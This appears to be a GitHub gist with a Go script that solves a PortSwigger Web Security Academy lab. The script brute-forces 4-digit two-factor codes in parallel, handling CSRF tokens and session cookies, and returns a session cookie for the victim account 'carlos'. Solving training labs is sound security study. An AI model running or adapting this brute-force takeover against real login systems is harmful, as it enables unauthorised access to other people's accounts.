Skip to content

Instantly share code, notes, and snippets.

@ChrisPritchard
Last active March 28, 2024 02:12
Show Gist options
  • Save ChrisPritchard/87e8342391a9a30f16d91451ce54e8ca to your computer and use it in GitHub Desktop.
Save ChrisPritchard/87e8342391a9a30f16d91451ce54e8ca to your computer and use it in GitHub Desktop.
A solution script for the portwigger web-sec-academy lab "2FA bypass using a brute-force attack"
/*
for this lab https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack
*vastly* faster than using a burp macro with 1 thread and intruder
even if it took an hour to throw together :D
*/
package main
import (
"errors"
"fmt"
"io/ioutil"
"log"
"net/http"
"strconv"
"strings"
)
var (
username = "carlos"
password = "montoya"
mfalen = 4
mfamin = 1
mfamax = 9999
threads = 20
csrfTag = "<input required type=\"hidden\" name=\"csrf\" value=\""
laburl = "https://acfa1f1f1ebe64c3801822390043003e.web-security-academy.net" // should NOT end with a /
client = &http.Client{
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
finished = false
)
func main() {
log.SetFlags(0)
done := make(chan bool)
for mfa := 0; mfa <= mfamax && !finished; mfa += threads {
for i := mfa; i < mfa+threads; i++ {
go flow(padCode(i), done)
}
for i := mfa; i < mfa+threads; i++ {
<-done
}
}
log.Println("done. set the value above as your session cookie value, then refresh")
}
func padCode(code int) string {
mfa := strconv.Itoa(code)
for len(mfa) < mfalen {
mfa = "0" + mfa
}
return mfa
}
func flow(code string, done chan bool) {
cookie, csrf, err := getLogin()
if err != nil {
log.Fatalln(err)
}
cookie, err = postLogin(cookie, csrf)
if err != nil {
log.Fatalln(err)
}
csrf, err = getLogin2(cookie)
if err != nil {
log.Fatalln(err)
}
successCookie, err := postLogin2(cookie, csrf, code)
if err != nil {
log.Fatalln(err)
}
if successCookie != "" {
log.Println(successCookie)
finished = true
}
done <- true
}
func getLogin() (cookie, csrf string, err error) {
resp, err := http.Get(laburl + "/login")
if err != nil {
return "", "", err
}
if resp.StatusCode != 200 {
return "", "", fmt.Errorf("get login response was not 200 (was %d)", resp.StatusCode)
}
cookieSet := resp.Header.Get("Set-Cookie")
cookie = cookieSet[:40]
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", "", err
}
html := string(bodyBytes)
csrfStart := strings.Index(html, csrfTag)
if csrfStart == -1 {
return "", "", errors.New("can't find csrf")
}
csrfStart += len(csrfTag)
csrfEnd := csrfStart + 32
csrf = html[csrfStart:csrfEnd]
return cookie, csrf, nil
}
func postLogin(cookie, csrf string) (nextCookie string, err error) {
data := strings.NewReader(fmt.Sprintf("csrf=%s&username=%s&password=%s", csrf, username, password))
req, _ := http.NewRequest(http.MethodPost, laburl+"/login", data)
req.Header.Add("Cookie", cookie)
resp, err := client.Do(req)
if err != nil {
return "", err
}
if resp.StatusCode != 302 {
return "", fmt.Errorf("post login response was not 302 (was %d)", resp.StatusCode)
}
cookieSet := resp.Header.Get("Set-Cookie")
cookie = cookieSet[:40]
return cookie, nil
}
func getLogin2(cookie string) (csrf string, err error) {
req, _ := http.NewRequest(http.MethodGet, laburl+"/login2", nil)
req.Header.Add("Cookie", cookie)
resp, err := client.Do(req)
if err != nil {
return "", err
}
if resp.StatusCode != 200 {
return "", fmt.Errorf("get login2 response was not 200 (was %d)", resp.StatusCode)
}
bodyBytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
html := string(bodyBytes)
csrfStart := strings.Index(html, csrfTag)
if csrfStart == -1 {
return "", errors.New("can't find csrf")
}
csrfStart += len(csrfTag)
csrfEnd := csrfStart + 32
csrf = html[csrfStart:csrfEnd]
return csrf, nil
}
func postLogin2(cookie, csrf, code string) (successCookie string, err error) {
data := strings.NewReader(fmt.Sprintf("csrf=%s&mfa-code=%s", csrf, code))
req, _ := http.NewRequest(http.MethodPost, laburl+"/login2", data)
req.Header.Add("Cookie", cookie)
resp, err := client.Do(req)
if err != nil {
return "", err
}
if resp.StatusCode != 302 {
return "", nil
}
cookieSet := resp.Header.Get("Set-Cookie")
cookie = cookieSet[8:40]
return cookie, nil
}
@geavenx
Copy link

geavenx commented Aug 11, 2023

Hello, so what I am supposed to do with the csrf that returns to me?

@ChrisPritchard
Copy link
Author

this doesn't return a csrf value, it returns the cookie value that when set grants you access to carlos' account

ill update the final message to make that more explicit

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment